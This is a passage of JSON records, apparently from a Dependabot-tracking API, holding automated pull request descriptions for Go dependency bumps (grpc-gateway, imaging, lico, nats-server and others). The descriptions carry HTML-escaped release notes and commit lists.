href=\"https://redirect.github.com/gookit/config/issues/212\"\u003e#212\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gookit/config/commit/e1e16792b3efc93d01d1c38c99f041aba147f654\"\u003e\u003ccode\u003ee1e1679\u003c/code\u003e\u003c/a\u003e build(deps): bump github.com/go-viper/mapstructure/v2 from 2.4.0 to 2.5.0 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/208\"\u003e#208\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gookit/config/commit/9328cee57d0bf44806fae85db53b70d1d108deb7\"\u003e\u003ccode\u003e9328cee\u003c/code\u003e\u003c/a\u003e build(deps): bump github.com/gookit/goutil from 0.7.1 to 0.7.4 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/210\"\u003e#210\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gookit/config/commit/fa9ac8d9f308c60c914ff203ec5a9717e6a5722e\"\u003e\u003ccode\u003efa9ac8d\u003c/code\u003e\u003c/a\u003e build(deps): bump softprops/action-gh-release from 2 to 3 (\u003ca href=\"https://redirect.github.com/gookit/config/issues/207\"\u003e#207\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gookit/config/commit/d3d84075b214b1fd76d7caa10479a01d595eb8a3\"\u003e\u003ccode\u003ed3d8407\u003c/code\u003e\u003c/a\u003e Fixed panic and bugs in Exists()/GetValue() (\u003ca href=\"https://redirect.github.com/gookit/config/issues/206\"\u003e#206\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/gookit/config/compare/v2.2.7...v2.2.8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/grpc-ecosystem/grpc-gateway/v2` from 2.28.0 to 2.29.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/releases\"\u003egithub.com/grpc-ecosystem/grpc-gateway/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.29.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: use proto.Merge to avoid copylocks with use_opaque_api=true by \u003ca href=\"https://github.com/emahiro\"\u003e\u003ccode\u003e@​emahiro\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6383\"\u003egrpc-ecosystem/grpc-gateway#6383\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: allow proto3 optional fields in path parameters by \u003ca href=\"https://github.com/susanachl\"\u003e\u003ccode\u003e@​susanachl\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6416\"\u003egrpc-ecosystem/grpc-gateway#6416\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd option to disable HTTP method override by \u003ca href=\"https://github.com/achew22\"\u003e\u003ccode\u003e@​achew22\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6447\"\u003egrpc-ecosystem/grpc-gateway#6447\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd Go documentation badge to README by \u003ca href=\"https://github.com/achew22\"\u003e\u003ccode\u003e@​achew22\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6448\"\u003egrpc-ecosystem/grpc-gateway#6448\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: add missing return statements in error handler paths by \u003ca href=\"https://github.com/jet-go\"\u003e\u003ccode\u003e@​jet-go\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6561\"\u003egrpc-ecosystem/grpc-gateway#6561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDeprecate fields and methods if file is deprecated by \u003ca href=\"https://github.com/aidandj\"\u003e\u003ccode\u003e@​aidandj\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6613\"\u003egrpc-ecosystem/grpc-gateway#6613\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd edition 2024 support by \u003ca href=\"https://github.com/printfn\"\u003e\u003ccode\u003e@​printfn\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6622\"\u003egrpc-ecosystem/grpc-gateway#6622\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/emahiro\"\u003e\u003ccode\u003e@​emahiro\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6383\"\u003egrpc-ecosystem/grpc-gateway#6383\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/susanachl\"\u003e\u003ccode\u003e@​susanachl\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6416\"\u003egrpc-ecosystem/grpc-gateway#6416\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jet-go\"\u003e\u003ccode\u003e@​jet-go\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6561\"\u003egrpc-ecosystem/grpc-gateway#6561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aidandj\"\u003e\u003ccode\u003e@​aidandj\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6613\"\u003egrpc-ecosystem/grpc-gateway#6613\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/printfn\"\u003e\u003ccode\u003e@​printfn\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6622\"\u003egrpc-ecosystem/grpc-gateway#6622\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/compare/v2.28.0...v2.29.0\"\u003ehttps://github.com/grpc-ecosystem/grpc-gateway/compare/v2.28.0...v2.29.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/commit/ba9b55c1c15c84633be18c45463e123f31a5e999\"\u003e\u003ccode\u003eba9b55c\u003c/code\u003e\u003c/a\u003e chore(deps): update dependency rules_shell to v0.8.0 (\u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/issues/6626\"\u003e#6626\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/commit/284a82e32510ab296f3376639c3384a9fde9d6a8\"\u003e\u003ccode\u003e284a82e\u003c/code\u003e\u003c/a\u003e chore(deps): update googleapis digest to bcfcbda (\u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/issues/6625\"\u003e#6625\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/commit/f74bc7f61e9647b63208c71afdb33e8bda88a12e\"\u003e\u003ccode\u003ef74bc7f\u003c/code\u003e\u003c/a\u003e chore(deps): update google/oss-fuzz digest to d58fd64 (\u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/issues/6624\"\u003e#6624\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/commit/efb665d2bbb31a2a04bc4d15fc0e051bf18256bd\"\u003e\u003ccode\u003eefb665d\u003c/code\u003e\u003c/a\u003e Add edition 2024 support (\u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/issues/6622\"\u003e#6622\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/commit/c58da15c3fda1408e94e96e6f9a1f4b84bf3bca3\"\u003e\u003ccode\u003ec58da15\u003c/code\u003e\u003c/a\u003e chore(deps): update google/oss-fuzz digest to 32b8df7 (\u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/issues/6621\"\u003e#6621\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/commit/42997a1462c474d684193d487ee4afb27d091602\"\u003e\u003ccode\u003e42997a1\u003c/code\u003e\u003c/a\u003e Deprecate fields and methods if file is deprecated (\u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/issues/6613\"\u003e#6613\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/commit/6f4af8b90c7c3d6e0cc7cac34ead8935c0a91f25\"\u003e\u003ccode\u003e6f4af8b\u003c/code\u003e\u003c/a\u003e chore(deps): update googleapis digest to bf85cad (\u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/issues/6620\"\u003e#6620\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/commit/68fde5fdf679914dd665e3175fe1ff23b384c14f\"\u003e\u003ccode\u003e68fde5f\u003c/code\u003e\u003c/a\u003e chore(deps): update google/oss-fuzz digest to 7b814a1 (\u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/issues/6619\"\u003e#6619\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/commit/6da2a4639ade2f9684cc6296be52400113da671e\"\u003e\u003ccode\u003e6da2a46\u003c/code\u003e\u003c/a\u003e chore(deps): update googleapis digest to 898f25c (\u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/issues/6617\"\u003e#6617\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/commit/c9c7ad4d48b2b43087c347ac92ec6c385f53c6a6\"\u003e\u003ccode\u003ec9c7ad4\u003c/code\u003e\u003c/a\u003e chore(deps): update googleapis digest to fc96870 (\u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/issues/6616\"\u003e#6616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/compare/v2.28.0...v2.29.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/kovidgoyal/imaging` from 1.8.19 to 1.8.21\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/kovidgoyal/imaging/releases\"\u003egithub.com/kovidgoyal/imaging's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.8.21\u003c/h2\u003e\n\u003cp\u003eNo release notes provided.\u003c/p\u003e\n\u003ch2\u003ev1.8.20\u003c/h2\u003e\n\u003cp\u003eNo release notes provided.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kovidgoyal/imaging/commit/5566bec6274fab86087655ea1fc44027e042c73a\"\u003e\u003ccode\u003e5566bec\u003c/code\u003e\u003c/a\u003e version 1.8.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kovidgoyal/imaging/commit/13f87ffec9f0be3fbb9abf21648a966aa70239eb\"\u003e\u003ccode\u003e13f87ff\u003c/code\u003e\u003c/a\u003e Micro optimisation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kovidgoyal/imaging/commit/cdab4a3c04f8f5869b1618bf5b9a5d8ec7a19b93\"\u003e\u003ccode\u003ecdab4a3\u003c/code\u003e\u003c/a\u003e Fix incorrect gamut mapping for XYZ to sRGB using the optimised pipeline\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kovidgoyal/imaging/commit/103f593993ab67237d7d7d20c0a569978ef5d778\"\u003e\u003ccode\u003e103f593\u003c/code\u003e\u003c/a\u003e Fix incorrect gamut mapping fallback when no mapped color is found\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kovidgoyal/imaging/commit/f53b95cc2236ea59b2700224866f33b0381c02eb\"\u003e\u003ccode\u003ef53b95c\u003c/code\u003e\u003c/a\u003e Add a jpeg test case that does not convert correctly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kovidgoyal/imaging/commit/daa34ccb6fa56fc0b190f74517f831dbaf78bb5b\"\u003e\u003ccode\u003edaa34cc\u003c/code\u003e\u003c/a\u003e bump image dep for vuln\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kovidgoyal/imaging/commit/811ca13273850b5bc8a8d5dc9e0cf155f643ea0f\"\u003e\u003ccode\u003e811ca13\u003c/code\u003e\u003c/a\u003e Merge branch 'patch-1' of \u003ca href=\"https://github.com/codelif/imaging\"\u003ehttps://github.com/codelif/imaging\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kovidgoyal/imaging/commit/825bccf61320c0cff95ecfc599e566b771a97475\"\u003e\u003ccode\u003e825bccf\u003c/code\u003e\u003c/a\u003e docs: fix disintegration/imaging typo\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kovidgoyal/imaging/commit/96e5da8e67077a07a6b3175861c199b4532230ab\"\u003e\u003ccode\u003e96e5da8\u003c/code\u003e\u003c/a\u003e Merge branch 'dependabot/go_modules/all-go-deps-a2b68a3daf' of \u003ca href=\"https://github\"\u003ehttps://github\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kovidgoyal/imaging/commit/276172d13457b0105401e919014e41780f1f1046\"\u003e\u003ccode\u003e276172d\u003c/code\u003e\u003c/a\u003e Bump golang.org/x/image from 0.36.0 to 0.37.0 in the all-go-deps group\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/kovidgoyal/imaging/compare/v1.8.19...v1.8.21\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/libregraph/lico` from 0.66.0 to 0.67.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/libregraph/lico/blob/master/CHANGELOG.md\"\u003egithub.com/libregraph/lico's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.67.0 (2026-03-18)\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eBump github.com/russellhaering/goxmldsig from 1.5.0 to 1.6.0\u003c/li\u003e\n\u003cli\u003eRun npx update-browserslist-db@latest\u003c/li\u003e\n\u003cli\u003eAdd signed JWT auto sign-in flow (LibreGraph.SignedLoginOK)\u003c/li\u003e\n\u003cli\u003eFix Go formatting treewide\u003c/li\u003e\n\u003cli\u003eAdd per-client external authorize redirect URIs\u003c/li\u003e\n\u003cli\u003eRework banner logo height to use named sizes instead of pixels\u003c/li\u003e\n\u003cli\u003eAdd configurable banner logo height via --identifier-default-banner-logo-height\u003c/li\u003e\n\u003cli\u003eBump docs to match Go 1.24 requirement\u003c/li\u003e\n\u003cli\u003eBump github.com/prometheus/client_golang from 1.15.1 to 1.23.2\u003c/li\u003e\n\u003cli\u003eBump github.com/beevik/etree from 1.5.1 to 1.6.0\u003c/li\u003e\n\u003cli\u003eBump golang.org/x/crypto from 0.37.0 to 0.45.0\u003c/li\u003e\n\u003cli\u003echore: drop gofrs/uuid module usage and use google/uuid\u003c/li\u003e\n\u003cli\u003eUpdate golangci-lint to version 2\u003c/li\u003e\n\u003cli\u003eBump golang.org/x/oauth2 from 0.8.0 to 0.31.0\u003c/li\u003e\n\u003cli\u003eBump golang.org/x/time from 0.3.0 to 0.13.0\u003c/li\u003e\n\u003cli\u003eBump form-data from 4.0.0 to 4.0.4 in /identifier\u003c/li\u003e\n\u003cli\u003eBump golang.org/x/oauth2 from 0.8.0 to 0.27.0\u003c/li\u003e\n\u003cli\u003eFix typos an add API section to README\u003c/li\u003e\n\u003cli\u003eFix form submission handler regression introduced in class-to-functional conversion\u003c/li\u003e\n\u003cli\u003eReplace konnect-identifier-api-v1 with comprehensive LibreGraph Connect OpenAPI spec\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/libregraph/lico/commit/bf134870bde0dded27460b7869c22d34daf87b55\"\u003e\u003ccode\u003ebf13487\u003c/code\u003e\u003c/a\u003e Add v0.67.0 to changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/libregraph/lico/commit/95d191057a7bcf9ab560f3dcdc4cf6b1d2be145d\"\u003e\u003ccode\u003e95d1910\u003c/code\u003e\u003c/a\u003e Bump github.com/russellhaering/goxmldsig from 1.5.0 to 1.6.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/libregraph/lico/commit/73b43ef57bb185b21884fafff2d55923e6652bf6\"\u003e\u003ccode\u003e73b43ef\u003c/code\u003e\u003c/a\u003e Run npx update-browserslist-db@latest\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/libregraph/lico/commit/a85d812f3c84bc940c46dbe36a70eeb7df3fc440\"\u003e\u003ccode\u003ea85d812\u003c/code\u003e\u003c/a\u003e Add signed JWT auto sign-in flow (LibreGraph.SignedLoginOK)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/libregraph/lico/commit/8d796d3bf52c953d258a464a75c23b14765b06e5\"\u003e\u003ccode\u003e8d796d3\u003c/code\u003e\u003c/a\u003e Fix Go formatting treewide\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/libregraph/lico/commit/25f1535566c3d1bd276ac2e6a9632b2c6a328d1c\"\u003e\u003ccode\u003e25f1535\u003c/code\u003e\u003c/a\u003e Add per-client external authorize redirect URIs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/libregraph/lico/commit/e9dd6ff792ccce3de8d0d3ae11ef6ebf6c522498\"\u003e\u003ccode\u003ee9dd6ff\u003c/code\u003e\u003c/a\u003e Rework banner logo height to use named sizes instead of pixels\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/libregraph/lico/commit/b052fc93a372862d3266b52a173927cf5c54cb46\"\u003e\u003ccode\u003eb052fc9\u003c/code\u003e\u003c/a\u003e Add configurable banner logo height via --identifier-default-banner-logo-height\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/libregraph/lico/commit/5a08cbe8b5b367920c232cd6c0a6077b7444e1b8\"\u003e\u003ccode\u003e5a08cbe\u003c/code\u003e\u003c/a\u003e Bump docs to match Go 1.24 requirement\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/libregraph/lico/commit/a9c4c63616d13040e4d16d0dc81db796e940c452\"\u003e\u003ccode\u003ea9c4c63\u003c/code\u003e\u003c/a\u003e Bump github.com/prometheus/client_golang from 1.15.1 to 1.23.2\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/libregraph/lico/compare/v0.66.0...v0.67.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats-server/v2` from 2.12.6 to 2.14.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.14.1\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_214\"\u003e2.14 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.12.x. Please note that the 2.13.x version was skipped.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.26.3 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8107\"\u003e#8107\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egithub.com/klauspost/compress v1.18.6 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8124\"\u003e#8124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egolang.org/x/crypto v0.51.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8124\"\u003e#8124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egolang.org/x/sys v0.44.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8124\"\u003e#8124\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eNew metrics \u003ccode\u003ein_client_msgs...\n\n_Description has been truncated_","html_url":"https://github.com/ddelange/ocis/pull/2350","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/ddelange%2Focis/issues/2350","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/2350/packages"}},{"old_version":"2.12.6","new_version":"2.14.0","update_type":"minor","path":"/services/tool-learning","pr_created_at":"2026-05-04T23:02:23.000Z","version_change":"2.12.6 → 2.14.0","issue":{"uuid":"4380245633","node_id":"PR_kwDORgffVc7YMowF","number":148,"state":"open","title":"chore(deps): Bump github.com/nats-io/nats-server/v2 from 2.12.6 to 2.14.0 in /services/tool-learning","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-05-04T23:02:23.000Z","updated_at":"2026-05-04T23:02:24.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): Bump","packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.6","new_version":"2.14.0","repository_url":"https://github.com/nats-io/nats-server"}],"path":"/services/tool-learning","ecosystem":"go"},"body":"Bumps [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) from 2.12.6 to 2.14.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.14.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_214\"\u003e2.14 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.12.x. Please note that the 2.13.x version was skipped.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.26.2\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFeature flags in the server configuration (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7866\"\u003e#7866\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-53.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-53.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFast-ingest batch publishing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7778\"\u003e#7778\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7892\"\u003e#7892\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7894\"\u003e#7894\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7945\"\u003e#7945\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eAllows high-speed publishing of message batches into the server when using a supported client\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-50.md#fast-ingest-batch-publishing\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-50.md#fast-ingest-batch-publishing\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eRepeating \u0026amp; cron-based message schedules (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7504\"\u003e#7504\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7687\"\u003e#7687\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7688\"\u003e#7688\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule\u003c/code\u003e header can now be configured on a repeating basis, i.e. \u003ccode\u003e@every 5m\u003c/code\u003e, \u003ccode\u003e@hourly\u003c/code\u003e or using crontab-like syntax\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eScheduled subject sampling (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7506\"\u003e#7506\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule-Source\u003c/code\u003e header allows sampling the contents of the last message in the stream for a given subject, allowing sampling of values at a different rate to the original publisher\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md#subject-sampling\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md#subject-sampling\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eScheduled subject rollups (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7559\"\u003e#7559\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule-Rollup\u003c/code\u003e header allows initiating a rollup of the \u003ccode\u003eNats-Schedule-Target\u003c/code\u003e subject on a scheduled basis\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eConsumer reset API (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7489\"\u003e#7489\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eIt is now possible to reset a consumer back to an earlier sequence number using the \u003ccode\u003e$JS.API.CONSUMER.RESET.stream.consumer\u003c/code\u003e API without deleting and recreating it\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-60.md#consumer-delivery-state-reset-api\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-60.md#consumer-delivery-state-reset-api\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eDomain-aware ack and flow control subjects (\u003ca 